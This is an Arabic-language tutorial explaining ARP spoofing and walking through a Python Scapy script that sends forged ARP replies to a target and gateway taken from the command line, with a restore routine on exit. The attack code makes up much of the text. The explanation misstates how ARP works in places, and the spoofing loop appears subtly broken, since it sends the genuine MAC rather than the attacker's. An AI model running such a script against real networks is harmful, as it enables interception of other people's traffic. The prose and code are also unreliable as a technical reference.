ما هو ARP Spoof
ARP spoofing هو عملية استغلال خاصية Address Resolution Protocol (ARP) في الشبكة اللاسلكية لتغيير عنوان IP الذي يرتبط بعنوان MAC في الجهاز الذي يتصل بالشبكة. يستخدم هذا الاستغلال لإخفاء الهوية الحقيقية للجهاز المزعج، أو لتغيير الطريقة التي يتصل بها الجهاز بالشبكة، للحصول على الوصول إلى المعلومات الخاصة بالشبكة.
ARP spoofing يستخدم غالباً في الهجمات الشبكية التي تستهدف الشبكات الداخلية، ويمكن للمهاجم الحصول على التحكم في الشبكة أو الحصول على المعلومات الخاصة بالشبكة.
هناك العديد من الطرق التي يمكن استخدامها للقيام بهجمة ARP spoofing، ولكن الطريقة الشائعة هي التشغيل في الشبكة الداخلية المحلية، ثم تغيير العنوان IP الذي يرتبط بعنوان MAC الذي يشير إلى الجهاز الخادم الذي يشغل الشبكة. بعد ذلك، يمكن للمهاجم الحصول على التحكم في الشبكة أو الحصول على المعلومات الخاصة بها.للدفاع من الهجمات التي تستهدف ARP، يمكن الاعتماد على الأدوات الأمنية المتاحة مثل الحماية الشبكية المزدوجة التي تحقق من الهوية، أو الحماية الشبكية الذاتية التي تضمن أن كل جهاز في الشبكة يحقق هويته الخاصة.
في هذا البرنامج التعليمي ، سوف نكتب نص بايثون للقيام بذلك.
في الشبكة العادية ، تتصل جميع الأجهزة Gateway ثم بالإنترنت ، كما هو موضح في الصورة التالية:
- إرسال رد ARP إلى gateway قائلاً "لدي عنوان IP الخاص بالضحية(victim)".
- إرسال رد ARP إلى الضحية قائلاً "لدي عنوان IP الخاص gateway".
نحتاج إلى استيراد المكتبات اللازمة
الدالة get_mac : هذه الدالة تستخدم للحصول على العنوان المحلي (MAC) للهدف الذي يريد الهجوم عليه. يتم استخدام الطلب ARP الذي يتم إرساله للهدف، ويتم الحصول على العنوان المحلي (MAC) للهدف.
def get_mac(ip):
arp = ARP(pdst=ip)
ether = Ether(dst="ff:ff:ff:ff:ff:ff")
packet = ether/arp
result = srp(packet, timeout=3, verbose=0)[0]
return result[0][1].hwsrc
الدالة restore_arp : هذه الدالة تستخدم لإعادة تشغيل الشبكة الصحيحة بعد الهجوم. يتم الحصول على العنوان المحلي (MAC) للهدف، ويتم إرسال طلب ARP لإعادة الشبكة الصحيحة.
def restore_arp(target_ip, target_mac, spoof_ip):
target_mac = get_mac(target_ip)
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip, hwsrc=get_mac(spoof_ip))
send(packet, count=4, verbose=0)
دالة arp_spoof : هي دالة تستخدم لإرسال طلبات ARP المزيفة للجهاز الهدف، من أجل التغشيه بشبكة الشبكة المحلية والحصول على التحكم في الجهاز الهدف.
يأخذ target_ip و spoof_ip ك (arguments) ، ويرسل باستمرار حزم ARP المخادعة إلى IP الهدف حتى يقاطع المستخدم التنفيذ.
def arp_spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
spoof_mac = get_mac(spoof_ip)
print("[*] Target MAC: " + target_mac)
print("[*] Spoofing MAC: " + spoof_mac)
try:
while True:
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip, hwsrc=spoof_mac)
send(packet, verbose=0)
print("[*] Sent spoofed ARP packet to " + target_ip)
time.sleep(2)
except KeyboardInterrupt:
print("[*] Exiting...")
restore_arp(target_ip, target_mac, spoof_ip)
في النهاية : تم تحديد (target_ip) ك (argument 1) , (spoof_ip) ك (argument 2)
ثم نقوم باستدهاء دالة arp_spoof
target_ip = sys.argv[1]
spoof_ip = sys.argv[2]
arp_spoof(target_ip, spoof_ip)